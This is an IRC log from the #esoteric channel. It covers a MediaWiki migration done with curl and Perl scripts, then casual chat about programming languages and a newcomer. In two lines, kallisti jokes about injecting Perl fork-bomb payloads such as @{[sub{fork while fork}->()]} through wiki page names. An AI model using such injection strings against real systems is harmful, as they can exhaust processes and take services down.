23:20:00 <kallisti> actually you could do it with an AUTOLOAD as well, I think.
23:20:58 <kallisti> all linux distros should switch to perl6 at some point in the future.
23:21:11 <kallisti> you could even define a set of operators that make it bash-like.
23:21:21 <elliott> oerjan: [elliott@dinky esowiki]$ blah() { curl "$1" | perl -ne "print \"$2":"'$1\n" while /<td><a[^>]+>([^<]+)/g' >>allpages; }
23:21:21 <elliott> bash: syntax error near unexpected token `<'
23:21:40 <oerjan> elliott: the \ _and_ the "
23:21:50 <Jafet> Why would you make it bash-like
23:21:53 <kallisti> elliott: "print a{$2:$$1\n} while /blahblahblah/g"
23:22:15 <kallisti> Jafet: bash-like as-in supporting all the redirect/piping/file descriptor/etc stuff
23:22:24 <Jafet> Of course, I'd only ever put pugs in /sbin.
23:22:36 <Jafet> bash redirection is amazingly confusing and limited
23:23:52 <kallisti> elliott: note that mine is totally more clear. :>
23:24:27 <kallisti> (assuming bash doesn't misinterpret the regex)
23:25:19 <kallisti> also it suffers from no code injection exploits, which I'm sure is totally important.
23:25:30 <elliott> [elliott@dinky esowiki]$ curl -F 'pages=<allpages' http://esolangs.org/wiki/Special:Export >allpages.xml
23:25:35 <elliott> this will be like a hundred megs
23:26:33 <oerjan> esolangs.org down in 9, 8, ...
23:26:45 <elliott> so if this works, the idea is to import the pages with this, import the user table separately, and upload files manually
23:26:48 <elliott> rather than importing the whole database
23:27:02 <elliott> it's cleaner and lets us avoid old MW cruft
23:27:38 <oerjan> what if any of the pages _use_ old MW cruft
23:27:45 <kallisti> elliott: how well does it handle the ";fork while fork;# namespace
23:27:47 <elliott> it's currently onto [[brainfuck]]
23:27:49 <elliott> oerjan: wtf does that mean
23:28:08 <oerjan> i dunno, i'm just making up disaster scenarios
23:28:32 <elliott> oerjan: old MW cruft = the fact that the database schema on esolangs.org is 5 years old
23:28:51 <elliott> the XML export format is stable, so we can isolate the cruft that needs to be migrated to the users table
23:29:06 <elliott> rather than mangling the SQL dump, importing it, and having MW's scripts upgrade it piecemeal
23:29:21 <elliott> oerjan: I'll still get a full DB dump from Graue if I can.
23:29:25 <elliott> It's onto [[brainfuck constants]] now :P
23:29:52 -!- augur has joined.
23:30:21 <elliott> ooh, tswett is responsible for the site subtitle I don't like
23:30:24 <oerjan> probably the largest. well, there's that nthern archive or what it was
23:30:31 <elliott> that means I can change it without fear of Graue
23:30:54 <kallisti> elliott: also the well-known @{[sub{fork while fork}->()]} namespace
23:31:08 <elliott> http://esoteric.voxelperfect.net/wiki/MediaWiki:Sitesubtitle
23:31:25 <monqy> I don't like that subtitle either
23:31:35 <monqy> and I just learned about it today, by clicking that link
23:32:12 <elliott> oerjan: btw what would be lost in the process of this would be: deleted pages, and logs like blocks/rights changes; I have a few-days-old dump of esowiki, so the only deleted pages truly lost would be spam, and if I get a full DB dump from Graue nothing will be lost
23:33:22 <elliott> oerjan: also, it'd be trivial to spider all of http://esolangs.org/w/index.php?title=Special:Log&type=&user=&page=&limit=500&offset=0
23:35:00 <oerjan> i'm reminded of that legoman inscription
23:36:33 <elliott> "A more explicit example, especially if you also want to save the darn thing, would be" --MediaWiki manual
23:38:05 <oerjan> where the heck is the subtitle linked _from_, anyway?
23:38:38 <elliott> oerjan: it's in the printed view and some skins
23:38:42 <elliott> and in monobook if you copy the whole text
23:46:54 <elliott> it's on to talk:bitbitjump
23:55:32 <elliott> ais523: how easy is it to revert a Special:Import?
23:55:51 <ais523> elliott: you have to delete the page
23:56:18 <elliott> ais523: so a Special:Import of >2000 pages...
23:56:20 -!- augur has quit (Remote host closed the connection).
23:58:13 <elliott> ais523: restoring from an SQL backup would undo it all, right?
23:58:17 <elliott> since it doesn't upload files or anything
00:01:22 <elliott> 413 Request Entity Too Large
00:01:35 <Sgeo> damageinc is now in #jesus
00:02:14 <pikhq> Hey, somewhere where his knowledge level is appropriate.
00:04:48 -!- oerjan has quit (Quit: Good night).
00:05:24 <elliott> ais523: who /designed/ MediaWiki?
00:06:55 -!- aloril_ has quit (Read error: Operation timed out).
00:10:05 <elliott> I wish importDump.php had a progress bar
00:10:53 -!- aloril_ has joined.
00:11:36 <elliott> ais523: do you have an easy way of getting lists of all deleted pages?
00:12:07 <ais523> elliott: I don't think so
00:12:18 <ais523> you could page through Special:Log/delete
00:12:23 <ais523> but it's absolutely full of spam
00:12:37 <elliott> I suppose the database dump is enough for those
00:12:43 <elliott> it's not like many of them are worth keeping
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00:20:04 <elliott> ais523: the good news is, it seems to be importing perfectly well: http://95.149.228.149:8181/w/index.php?title=Brainfuck&action=history
00:20:12 <elliott> the bad news is, IT'S SO SLOW
00:24:17 <Sgeo> Would I be able to sign up as Chris_Pressey?
00:24:34 <elliott> Sgeo: yes, if not for the fact that I'll import the user table once I get it from Graue
00:24:43 <elliott> and /then/ import all the pages
00:24:53 <elliott> and /then/ fix the main page and write an ascension address
00:25:18 <Sgeo> (Unless you did actually go off-topic and seriously won BN)
00:37:36 -!- aloril has joined.
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00:56:42 <elliott> underload, unlambda, user:monqy, talk:main page, univar, talk:unlambda, main pafgh, Main Pasdfsdf, user:ehird, esolang:sandbox
00:59:48 -!- nooga has quit (Ping timeout: 244 seconds).
01:10:45 -!- augur has joined.
01:13:49 <elliott> Incredibly fascinating evaluation of shopping cart software package prepared by well-known soccer professional or a person known as exact same as that soccer player.
01:14:45 <elliott> http://95.149.228.149:8181/wiki/Talk:Incredibly_fascinating_evaluation_of_shopping_cart_software_package_prepared_by_well-known_soccer_professional_or_a_person_known_as_exact_same_as_that_soccer_player.
01:14:48 <elliott> the best spam page title ever
01:15:33 <kallisti> for a shitty webcomic, xkcd sure is quotable.
01:19:15 * elliott actually laughed at the latest one.
01:20:18 <kallisti> having just read it a few moments ago
01:20:48 <Gregor> OK, I laughed at the title text.
01:22:23 <elliott> i laughed at the hand-staple thing but the title text was good too
01:22:32 <elliott> could have easily been an early-days xkcd really
01:22:39 <elliott> although it was a bit too long
01:26:21 <elliott> MediaWiki just told me I have new messages
01:26:23 <elliott> because my talk page just got imported
01:28:16 -!- zzo38 has joined.
01:29:06 <kallisti> elliott: we could switch the wiki over to Gopher, thus removing spam as a result of zzo38 being the only user.
01:29:23 <kallisti> (has this joke been used before. it seems so easy.)
01:31:15 <monqy> something about hackiki
01:32:24 <zzo38> Gopher doesn't really work for a wiki; it works for read but it doesn't work well for editing pages. You could use HTTP PUT, FTP, Plan 9 Protocol, or something. You could still use Gopher for read-only if you want to, though.
01:32:28 <elliott> took about an hour and a half
01:34:50 <Sgeo> damageinc called me a moron
01:35:31 <zzo38> SSH is another way. HTTP GET/POST, SMTP, and NNTP would have a lot of spam messages
01:38:02 <elliott> Sgeo: you mean he's... not civil?
01:41:58 <Gregor> `log -\*-.*topic.*international hub
01:42:18 <elliott> http://95.149.228.149:8181/wiki/Main_Page
01:42:25 <Gregor> `log -\!-.*topic.*international hub
01:42:25 <elliott> OK, this has all the esolang wiki articles
01:42:57 <HackEgo> 2008-06-30.txt:20:51:05: -!- ais523 changed the topic of #esoteric to: #esoteric - the international hub for esoteric language design, development and deployment | logs: http://tunes.org/~nef/logs/esoteric/
01:43:08 <elliott> THANKS FOR YOUR HARD WORK TESTING THIS ELLIOTT
01:43:29 <elliott> IT'S SO GREAT YOU'VE PUT LIKE FIVE DAYS OF EFFORT INTO MANGLING SQL DUMPS AND SHIT
01:44:30 <elliott> Category: Pages with broken file links
01:47:56 <elliott> Ah. The dump isn't quite complete.
01:48:01 <elliott> For instance, it doesn't include redirects.
01:48:16 <elliott> Well, "moved pages", I suspect.
01:49:46 * Sgeo thinks he wants a distro that supports KDE well, and is looking at OpenSUSE
01:50:31 <Sgeo> This "Upstream" thing looks cool
01:50:50 <Sgeo> Except for brokenness
01:57:05 <elliott> http://95.149.228.149:8181/w/index.php?title=Esolang:General_disclaimer&diff=22410&oldid=22409
01:58:17 <Sgeo> Weren't people scared of KDE4?
01:58:28 <Sgeo> Now it seems to be more accepted. Might the same happy to Unity or GNOME Shell?
02:02:04 <Gregor> Mainly because it's terrible.
02:02:18 <elliott> @tell ais523 The import finished; the result basically works, except that pages that are redirects have mysteriously not been imported.
02:03:01 <Sgeo> WTF am I looking at
02:03:16 <Sgeo> "GoogleChrome OS X" does not seem to have Chrome or Chromium, and looks nothing like OS X
02:03:29 <monqy> what is googlechrome osx
02:03:29 <Sgeo> http://susestudio.com/a/LkcUZJ/googlechrome-os-x
02:03:59 <Sgeo> It's butt ugly to boot
02:04:12 <Sgeo> It's using some sort of Win9x GNOME theme or something
02:09:04 -!- Gregor has changed nick to Friendship.
02:10:14 <HackEgo> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
02:11:46 <Friendship> Jafet: I /might/ have been trying to register FriendshipIsMagic (only to realize that the reason it was unregistered is that the nick is too long) before noticing this one was free >_> <_<
02:11:59 -!- Frooxius_ has joined.
02:12:29 <Jafet> I thought it was unregistered because the troll that used it was klined
02:12:39 -!- Frooxius has quit (Ping timeout: 244 seconds).
02:12:42 -!- Frooxius_ has changed nick to Frooxius.
02:17:01 -!- Frooxius_ has joined.
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02:18:58 -!- Frooxius_ has changed nick to Frooxius.
02:20:44 * Sgeo learns of something called Illumination Software Creator
02:22:15 <Sgeo> "This trial version of Illumination Software reator is fully functional but limited to 10 "Blocks" of functionality per project. Purchasing a license from our secure online store removes this limitation."
02:22:43 <Friendship> I'll bet the resultant software is of enormously high quality.
02:23:38 <Sgeo> Is it even TC?
02:24:42 <Sgeo> It has conditionals and loops
02:24:57 <Sgeo> If the number variables are bignums... hmm
02:25:07 <tswett> elliott: yes, I am the reason we are not "Esolang: The Free Encyclopedia".
02:28:13 -!- azaq23 has quit (Quit: Leaving.).
02:30:20 <tswett> I was younger than you at the time.
02:30:37 -!- Friendship has changed nick to Gregor.
02:32:06 <Sgeo> tswett, wait, what?
02:32:45 <tswett> I was younger than elliott at the time.
02:32:48 -!- Gregor has changed nick to Friendship.
02:32:57 <elliott> But then tswett grew older than me.
02:33:01 <elliott> I hate it when people surpass me in age.
02:33:10 <Friendship> Yeesh, it's like you people don't undestand relativity at all.
02:33:20 <tswett> Though I find that usually it happens the other way.
02:33:28 <tswett> People who used to be older than me are suddenly younger than me.
02:33:39 <tswett> In fact, I understand that this is more common than the other way around.
02:34:08 * Sgeo wants to know what the bit about "This is why we wre not Esolang: The Free Encyclopedia" is about
02:37:00 <tswett> Sgeo: I changed some interface page from "The Free Encyclopedia" to "Weirder than You", apparently.
02:37:13 <calamari> so I'm curious if Gregor has been going on about ponies for a while, or if I was the catalyst
02:37:37 <tswett> MediaWiki:Sitesubtitle, in fact.
02:37:51 <tswett> I'm probably still an administrator on Esolang, in fact.
02:38:02 <tswett> I think I remember my password, but I'm not going to bother logging in.
02:39:03 <elliott> tswett: Good thing I'm not importing the MediaWiki namespace!
02:39:21 <tswett> My most recent edit was 2009. It was the only edit I made that yeah. I mean, that reah.
02:45:57 * Sgeo lols at something called WinLin
02:55:55 <elliott> Friendship: How did your Whose Line scoring go
03:02:19 <Friendship> elliott: I got a bit bored of the show after season 2, giving it a brief hiatus
03:04:06 <Friendship> elliott: I'm currently dealing with a technological disaster regarding students hypersubmitting at the last minute to an overloaded system, so I'm not willing to go drag up that spreadsheet ...
03:04:15 <Friendship> But Brady was still in the lead, followed by Mochrie.
03:04:46 <monqy> hypersubmitting, eh
03:14:38 <kallisti> does anyone know of a plugin that allows you to embed Unicode characters in irssi input via a subset of LaTeX or something?
03:15:14 <kallisti> or some other alternative that makes Unicode easy?
03:16:02 <pikhq> Trust me, hardly anything is going to make input of all of Unicode anything. The question is, what subset do you wish to emit?
03:21:00 <kallisti> Let n ∈ Z. Prove that 2 | (n⁴ - 3) if and only if 4 | (n² + 3).
03:22:18 <kallisti> the main annoyance is the cases thanks to the biconditional. THEY GIVE ME NO USEFUL THEOREMS TO USE.
03:22:23 <kallisti> so I just have to do it with cases. -_-
03:22:53 <elliott> proving it both ways instead
03:25:39 * kallisti is facedesking because of the tediousness not because he doesn't know how to prove it. :P
03:27:30 <pikhq> That seems pretty simple, though perhaps slightly tedious.
03:27:49 <kallisti> yes I'm just complaining for no reason.
03:29:47 <elliott> @tell oerjan By the way, [[Slashes]] will be movable to [[///]] on my server setup, like you wanted (http://95.149.228.149:8181/wiki/Talk:Main_Page#Special_characters).
03:33:26 <kallisti> my professor is apparently bothered by the re-use of quantified variables in other contexts.
03:33:28 <elliott> OK, TODO is now: Figure out preferences weirdness, automation, server, Graue. ... which is, uh, the same as it was last time.
03:33:33 <kallisti> but, thankfully, he allows it.
03:33:56 <kallisti> i.e. using the same variable name in a different quantifier elsewhere.
03:34:27 <kallisti> in fact I'm not sure I understand the problem. >_>
03:41:25 <pikhq> It's probably much less of a problem for people with coding experience than most.
03:41:52 <pikhq> You just don't think much about scoping outside of that context.
03:42:04 <kallisti> yes that's what I was thinking actually.
03:42:18 <kallisti> I was just thinking "oh it's just a local scope no big deal."
03:43:43 <pikhq> Also, elliott, are you a permanent guy again? :)
03:44:51 <pikhq> Regardless. Whoo, Wiki work.
03:44:58 <elliott> Probably not, I'm just ostensibly working on the wiki while actually sitting here procrastinating.
03:58:16 <pikhq> Such procrastination.
03:58:36 <Friendship> He's trying to maintain the obviously-beneficial rule that you can't both be the wiki maintainer and actually be present in #esoteric .
04:00:06 <elliott> Friendship: 'cuz "/msg elliott" is the most difficult sequence in the world to type out.
04:04:11 <elliott> oh, the other entry in the TODO is to figure out why redirects aren't being imported
04:07:10 <Friendship> elliott: Your logic is so flawless it boggles my mind
04:07:43 <Friendship> Seriously though, how was Friendship not a taken nick?
04:08:12 <elliott> Friendship: I could say the same about your logic :P
04:10:11 <zzo38> Hay! Don't cross the "i"s and dot the "t"s!
04:10:43 <elliott> P.S. I fixed the formatting of http://95.149.228.149:8181/w/index.php
04:10:49 <elliott> Which is now not redirecting again, gaah
04:10:55 <elliott> I think it's APC messing it up
04:11:21 <pikhq> zzo38: So, don'l dol lhe ıs and don'l cross lhe ls?
04:11:46 <elliott> "What year was X created?" "What year was X created in?"
04:13:43 <myndzi> > don't end sentence on preposition
04:13:44 <lambdabot> Not in scope: `don't'Not in scope: `end'Not in scope: `sentence'Not in scop...
04:14:11 <myndzi> you might write, "In what year.."
04:14:18 <elliott> myndzi: up with which etc.
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04:14:55 <monqy> what does correct matter
04:15:35 <elliott> by "correct" i actually mean "which sounds best"
04:16:07 <myndzi> "In what year was X created?"
04:16:49 <elliott> sounds like a quiz show :P
04:23:36 -!- H3LLB0Y has joined.
04:24:13 <HackEgo> H3LLB0Y: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
04:24:51 <H3LLB0Y> i have no idea what an esoteric language is btw lol :P
04:25:02 <HackEgo> This channel is about programming -- for the other kind of esoterica, try #esoteric on irc.dal.net.
04:25:33 <Sgeo> H3LLB0Y, do you know what a programming language is?
04:25:43 <H3LLB0Y> HackEgo: you be trolling! :P
04:25:47 <monqy> and do you know what an esoteric is
04:26:12 <Sgeo> A programming language is (usually) a language that humans can write and read in, even if with some difficulty, and that computers can understand.
04:26:15 <H3LLB0Y> Sgeo: yea man sure :P well, not the definition exactly, but i can program in python and c++ abit and some java :D
04:26:21 <Sgeo> (Some languages don't fit that mold exactly)
04:26:30 <Sgeo> Anyways, an esoteric language is a language not intended for practical use.
04:26:49 <elliott> H3LLB0Y: if you're looking for the english language meaning of "esoteric", the channel HackEgo mentioned is the appropriate place
04:26:50 <Sgeo> Have you heard of Brainfuck? That's a classic example of an esoteric programming language.
04:27:08 <H3LLB0Y> ah yep lol yea ok i understand :D
04:27:22 <H3LLB0Y> elliott: nah im sure it was this one i was sent to :P
04:27:34 <Sgeo> H3LLB0Y, by who and for what purpose?
04:27:57 <H3LLB0Y> damageinc, not sure for what reason lol, he just said to come check it out :D
04:28:38 <H3LLB0Y> i was telling him about my game im making and he said go here! :D
04:28:45 <elliott> H3LLB0Y: damageinc spent yesterday "trolling" us
04:29:00 <elliott> it seems reeling you in here is his latest "genius scheme"
04:29:05 <H3LLB0Y> hehe :P he popped into my game dev chatroom so i asked him stuff
04:29:16 <elliott> he's a (shitty) troll, I would advise ignoring him
04:29:47 <H3LLB0Y> not like i was doing anything anyway hah
04:31:22 <Sgeo> If you're willing to learn, just watching this chat can sometimes be an education in computer science, I think.
04:32:05 <monqy> Sgeo: that sounds kind of like something itidus would say, but different
04:32:23 <H3LLB0Y> well, esoteric languages as intersting as they are, do not seem very useful :P but if there is some language independent stuff to learn yea i might hang around and have a listen and maybe chat some :P
04:32:49 <Sgeo> Well, some esoteric languages are explorations of various computer science concepts.
04:34:04 <H3LLB0Y> i think ill just stick with the more common usable ones :P
04:34:26 <Sgeo> No one's suggesting that you use an esoteric language to write your next program with.
04:34:27 <elliott> i wouldn't class python in the usable category
04:34:52 <Sgeo> Although Haskell (not esoteric, but not particularly mainstream) is pretty well-liked by this channel.
04:35:37 <quintopia> i think H3LLB0Y should write the first marketable enterprise app for golfscript
04:37:24 <Sgeo> Scoping sticks out to me, and I used to love Python
04:37:39 <monqy> I've never loved a language :'(
04:37:45 <Sgeo> Annoying-to-use lambdas, although at least they're there.
04:38:00 <Sgeo> But I may not be the best critic of languages.
04:38:03 <kallisti> I liked Python, and then I learned something else.
04:38:05 <Sgeo> Although I've looked at so many
04:38:20 <kallisti> *something else that wasn't C and Java
04:38:37 <Sgeo> And elliott seems to know everything about every language that I have ever even glanced at, it's crazy.
04:38:52 <zzo38> We do discuss many things in this channel. But main topic is esoteric computer programming.
04:39:07 <Sgeo> zzo38, that's the official topic. It's rare for us to be on topic.
04:39:11 <H3LLB0Y> saying 'it sucks' is not enough for me, so to me his opinion is worthless
04:39:27 <elliott> H3LLB0Y: Python has terrible support for functional programming (especially the awful lambdas and lack of TCO), Guido isn't very smart, most of the opinionated design decisions are wrong, and the scoping is really fucked up (even in 3).
04:39:40 <zzo38> Sgeo: I know. But it has been discussed various things.
04:39:42 -!- augur has quit (Remote host closed the connection).
04:39:56 <zzo38> H3LLB0Y: Like, what game you make, specifically?
04:40:49 <kallisti> Python, for all of the dynamicism and interpretive overhead, relly doesn't provide much in return.
04:40:53 <monqy> I have theoretical dislike along the lines of elliott's and practical dislike along the lines of "I try using it and it doesn't jive as well as other languages. I just get frustrated with it not doing what I want it to do. that's bad."
04:40:56 <kallisti> it's a very... bland language.
04:41:02 <H3LLB0Y> elliott: well, its supported by panda3d game engine that im using, so until i need c++ i will use python :P
04:41:02 <Sgeo> Isn't lack of TCO some sort of deliberate decision?
04:41:13 <Sgeo> H3LLB0Y, no one was recommending C++ over Python.
04:41:18 <Sgeo> coppro might do so, I guess.
04:41:25 <H3LLB0Y> zzo38: remaking the warcraft 3 custom map warlocks
04:41:28 <elliott> H3LLB0Y: C++ is even worse, mind you.
04:41:28 <monqy> H3LLB0Y: I doubt elliott would recommend c++
04:41:30 <zzo38> kallisti: I don't really like Python much either. But when I saw some Python programs, I did like the way object classes are implemented, for one thing
04:41:44 <elliott> <Sgeo> Isn't lack of TCO some sort of deliberate decision?
04:41:58 <elliott> Sgeo: Guido thinks TCO = tail recursion optimisation, and so dismissed it because you can trivially simulate it with a loop.
04:42:16 <zzo38> You can also use C instead of C++ if you prefer. And there is Haskell, JavaScript, Perl, NES ASM, etc
04:42:17 <elliott> Then someone corrected him and he pointed to an awful decorator hack that used exceptions to do arbitrary tail-calls as justification for not including it.
04:42:22 <elliott> He's more than a little clueless.
04:42:35 <Sgeo> elliott, clearly, the hacky way is the One Way To Do It
04:42:42 <pikhq> C++ is an esolang, IMO.
04:42:45 <elliott> (I'd love to see the performance of that decorator hack.)
04:43:11 <Sgeo> I've heard the expression "bolting legs to a dog to try to make an octopus" to describe C++.
04:43:31 <H3LLB0Y> elliott: so whats a better language for making games in?
04:43:42 <kallisti> I would say Ruby is better at doing what Python does than Python.
04:43:48 <pikhq> Anything at all, including C.
04:43:50 <zzo38> I think the programming language to make a game also depends what game you are making.
04:43:52 <elliott> H3LLB0Y: Well, that's a difficult question.
04:43:56 <elliott> H3LLB0Y: C++ certainly has the best library support.
04:44:15 <elliott> H3LLB0Y: I agree with John Carmack that functional languages are the way forward for game dev and have worked to make Haskell viable for that purpose.
04:44:17 <kallisti> C# has recently gained quite a lot of support with Microsoft pushing it for Xbox.
04:44:22 <elliott> (Certainly people are using it already for the task.)
04:44:32 <zzo38> I actually find QBASIC to be OK for many relatively simple kinds of games.
04:44:53 <kallisti> I've never seen Python used as the main language for a "real" game.
04:44:58 <quintopia> warcraft 3 is not one of such games
04:44:58 <kallisti> but it's not something I know a lot about.
04:45:09 <Sgeo> I keep hearing this again and again, and am inclined to agree: C# is a less sucky Java.
04:45:27 <elliott> which means it's a more sucky anything else
04:45:42 <pikhq> Well, the entire design goal of C# is to be a less sucky Java.
04:45:50 <zzo38> And I have written many games in QBASIC and put many of them in a collection called "The CGA Collection", which is a collection of public domain games in QBASIC for IBM-compatible computers with Color Graphics Adapter, using only low-resolution (40x25 text and 320x200 graphics)
04:45:56 <elliott> (that said, the people behind C# /do/ seem to appreciate FP and LINQ is cool)
04:46:02 <elliott> (so it's really not all that bad)
04:46:27 <H3LLB0Y> kallisti: the game engine itself is written in c++ just has python bindings so, you write the codes in python (for speed of development) and get the benefits of the speed of c++
04:46:49 <kallisti> I think C# also makes better use of generic types than many libraries in other popular "mainstream languages.
04:46:53 <pikhq> You said C++ and speed in the same sentence. Lawl.
04:46:59 <Sgeo> Clearly, we need a Haskell compiler that targets Python.
04:47:03 <elliott> pikhq: well it's faster than python
04:47:27 <Sgeo> Would Forth be considered fast?
04:47:38 <zzo38> Sgeo: I want a Haskell compiler that targets Glulx, and a Haskell compiler that targets MMIX.
04:47:58 <zzo38> Sgeo: Forth is in between interpreted and compiled and it is the fastest such thing
04:48:15 <Sgeo> I think I looked at Forth because of zzo38 and Factor because of Forth
04:48:26 <H3LLB0Y> well, you guys havent convinced me away from python or c++ :P
04:48:27 <elliott> forth's threaded code is not "fast"
04:48:45 <pikhq> elliott: No, just stupid.
04:48:45 <elliott> H3LLB0Y: Who said we were out to convince you?
04:48:52 <Sgeo> Factor... has stuff for games. But not sure if that's really sufficient for any real games, or if Factor is that great of a language
04:48:52 <zzo38> H3LLB0Y: Use what you want then
04:49:02 <elliott> pikhq: there are forth compilers that use more conventional techniques though
04:49:05 <elliott> and i gather they're pretty good
04:49:18 <elliott> Sgeo: I found a cite for slava being done with factor btw
04:49:23 <Sgeo> elliott, linky?
04:49:48 <Sgeo> Is Smalltalk considered good for games?
04:49:50 <zzo38> Forth is still generally faster than interpreted languages in general; although much depends on the implementation and there are many ways.
04:49:55 <elliott> Sgeo: http://bespin.org/~nef/logs/concatenative/12.01.06 from 10:53:03 <rien> slice0: 0 <vector> does the same
04:49:57 <Sgeo> It has a nice syntax, is easy to learn, and a good GUI
04:50:06 <pikhq> But, on a somewhat more... Pointful note: I'd imagine that a Forth compiler could get pretty good results, due to Forth semantics having hardly anything that *must* be slow.
04:50:40 <zzo38> H3LLB0Y: I thought you wanted to use Python and C++ isn't it?
04:50:42 <pikhq> Though, of course, a naive Forth implementation is merely going to be "perhaps fast enough for some of the things you're doing".
04:50:58 <H3LLB0Y> zzo38: yep, but i also like java :D
04:51:11 <elliott> H3LLB0Y: we'll get along like a house on fire.
04:51:12 <pikhq> (still, we live in the time of Really Fast Processors.)
04:51:17 <kallisti> H3LLB0Y: there's no hope for you. sorry.
04:51:32 <elliott> that means the opposite of what it should mean
04:51:55 <elliott> you like python, c++ and java :P
04:51:58 <Sgeo> elliott, other people will still work on it, right?
04:52:04 <elliott> he was respondingt o kallisti
04:52:09 <quintopia> elliott: s/fire/fire and the person who lives there/
04:52:11 <elliott> Sgeo: http://www.reddit.com/r/programming/comments/pm7t2/why_concatenative_programming_matters/c3qttob
04:52:26 <zzo38> I will eventually make computer (there is some internal discussion about whose job to help with these things), will include Forth built-in and available as soon as it is turned on. But it will have BASIC as well.
04:53:02 <kallisti> the "language discussion with someone who only knows of one paradigm with some minor variations" is something I've had too many times to be interested.
04:53:11 <zzo38> H3LLB0Y: OK then do so. If your program is only for x86 computers that can work well. But then it won't run on other computers, unless you use emulator
04:54:05 <Sgeo> elliott, I've used that expression before because of The IT Crowd, and also dismayed to find the real meaning
04:54:07 <H3LLB0Y> zzo38: wait this is a channel for esoteric languages right?
04:54:17 <H3LLB0Y> zzo38: assembly seems like it would fit in perfectly
04:54:29 <zzo38> H3LLB0Y: Yes, but we discuss nearly anything in here
04:54:52 <H3LLB0Y> it honestly doesnt seem like great discussion lol
04:54:54 <zzo38> I have written some simple x86 codes in DOS, such as one PALETTE.COM to change palettes. I have written a very short MBR code.
04:55:10 <H3LLB0Y> its mostly bagging of people that have opionions other than your own :P
04:55:10 <elliott> it's not great discussion if you don't have a grasp of the basic concepts being talked about
04:55:17 <elliott> H3LLB0Y: no that's just because you came in now
04:55:34 <elliott> no it's a new person coming in
04:56:06 <zzo38> Well, it happened (probably only once) that someone left but then someone forgot to tell them that we were just discussing astrology a bit before... these kind of coincidences... still, it is not what most people try to discuss with astrology so it might not work
04:56:25 <zzo38> It is just one example but only a very small one compare with the entire channel
04:56:32 <kallisti> I don't think I was ever hazed as an introduct-- oh wait nevermind
04:56:37 <zzo38> Often TOPIC message changed in this channel because we like to do so
04:57:00 <elliott> kallisti: the hazing only stops when you change
04:57:07 <kallisti> I do enjoy the "feel" of machines languages, I'll say.
04:57:16 <kallisti> I like inventing non-machine machine languages. :P
04:57:33 <kallisti> elliott: well my introductory hazing was in the pre-elliott error so it wasn't quite as pervasive.
04:57:41 <quintopia> its like a frat. if you dont become like everyone else, or at least start keeping your opinions to yourself...
04:58:01 <kallisti> we're so good at advertising ourselves....
04:58:04 <elliott> kallisti: this IS your introductory hazing
04:58:32 <monqy> I forget if I got hazed
04:58:41 <kallisti> I don't think hazing is an actual thing we do.
04:58:48 <monqy> I got asked what my business was and that's all I can remember
04:58:54 <zzo38> H3LLB0Y: If you want to understand this channel, please look at logs at random date/time and then remain confused about what it is anyways
04:58:56 <kallisti> quintopia: yes before elliott was an #esoteric regular
04:59:30 <H3LLB0Y> lol im not too fussed about understanding this channel
04:59:39 <H3LLB0Y> i dont think it will help me in any way ever lol
04:59:54 <H3LLB0Y> its only use would be to waste time :D
04:59:55 <zzo38> H3LLB0Y: You are probably correct.
05:00:14 <elliott> it's made several people slightly less idiotic
05:00:25 <elliott> unfortunately you have to start at a baseline higher than being a python/c++/java fan for that to work
05:00:29 <elliott> for instance PH liked Pascal
05:00:45 <elliott> which says much more about python, c++ and java than it does pascal, naturally
05:00:55 <H3LLB0Y> well, ive done some haskell
05:01:12 <elliott> haskell? haskell sucks, pascal is the best language
05:01:18 <zzo38> I have written a few Haskell packages already
05:02:00 <monqy> have you guys tried prog
05:02:24 <Sgeo> Was I hazed, I don't remember
05:02:39 <monqy> Sgeo: were you ever not hazed
05:02:49 <zzo38> Many kind of mathematical stuff can be implemented in Haskell, and Haskell has both layout (like Python) and nonlayout (like C) mode; I prefer nonlayout mode but you are allowed to mix them and it still works
05:02:52 <kallisti> "elliott yells at someone" is not hazing.
05:03:08 <pikhq> elliott yells at something is just elliott-breakfast.
05:03:57 <elliott> pascal? everyone knows fortran is the best programming language
05:04:03 <elliott> i would say "dazed" applies to Sgeo more than "hazed"
05:04:10 <zzo38> Can you easily enumerate the number of non-layout Haskell programmers? Probably there isn't much but there is a few
05:04:33 <pikhq> IIRC some of GHC is in non-layout.
05:04:40 <kallisti> oh, and compilers with Haskell output.
05:04:51 <kallisti> non-layout is more convenient for machine output
05:05:01 <kallisti> (GUIDO I HOPE YOU'RE READING THIS)
05:05:03 <zzo38> H3LLB0Y: TeX is written in WEB, which is a kind of preprocessor for Pascal
05:05:21 <elliott> the maintainer of the time library uses non-layout
05:05:29 * Sgeo once wanted to make a language that took "There's only one way to do it" to the extreme
05:05:33 <Sgeo> But obviously it can't be TC.
05:05:35 <H3LLB0Y> nah i dotn like fortran by the looks of it
05:05:46 <Sgeo> H3LLB0Y, elliott was joking, I think.
05:05:48 <kallisti> Sgeo: I believe it's called subleq
05:05:48 <H3LLB0Y> it might jsut be the colouring of the text though :P
05:05:54 <elliott> H3LLB0Y: fortran? everyone knows Icon is the best programming language
05:05:58 <H3LLB0Y> Sgeo: yea i figred as much lol
05:06:06 <zzo38> Non-layout certainly does work better for automatically generated programs, but manually written programs can be either way it works
05:06:08 <Sgeo> kallisti, uh... that makes no sense
05:06:25 <Sgeo> Any program you can make in subleq, you can also make a subleq emulator and run the program in that.
05:06:29 <Sgeo> At the very least.
05:06:32 <pikhq> kallisti: If it's Turing complete there's more than one way to do something.
05:06:34 <zzo38> I also like LLVM, and I know BLISS as well. I like many of the features of LLVM and BLISS compared with C.
05:06:51 <pikhq> The vast majority of those ways will be unnecessarily roundabout, but that's irrelevant. :)
05:07:05 <Sgeo> H3LLB0Y, learn Smalltalk.
05:07:11 <Sgeo> It's easy to learn, OO, nice IDE.
05:07:12 <kallisti> pikhq: does it count if all of those ways are sequences of the subleq instruction?
05:07:41 <elliott> H3LLB0Y: yeah it is i was having trouble thinking of bad languages under pressure
05:08:09 <elliott> H3LLB0Y: icon? everyone knows falcon is the best programming language
05:08:34 <Sgeo> In full non-joking seriousness, I do think Smalltalk is a good language.
05:08:35 <H3LLB0Y> smalltalk good for games though?
05:08:41 <H3LLB0Y> thats pretty much all i want to make lol
05:08:48 <kallisti> if you consider Python is good for games
05:08:59 <zzo38> I am trying making a library in Haskell for text adventure game; what should I call it? One idea is "Uninform" (due to the other text adventure system "Inform") but maybe something else better
05:09:00 <pikhq> In full non-joking seriousness, Smalltalk certainly has below-average suck.
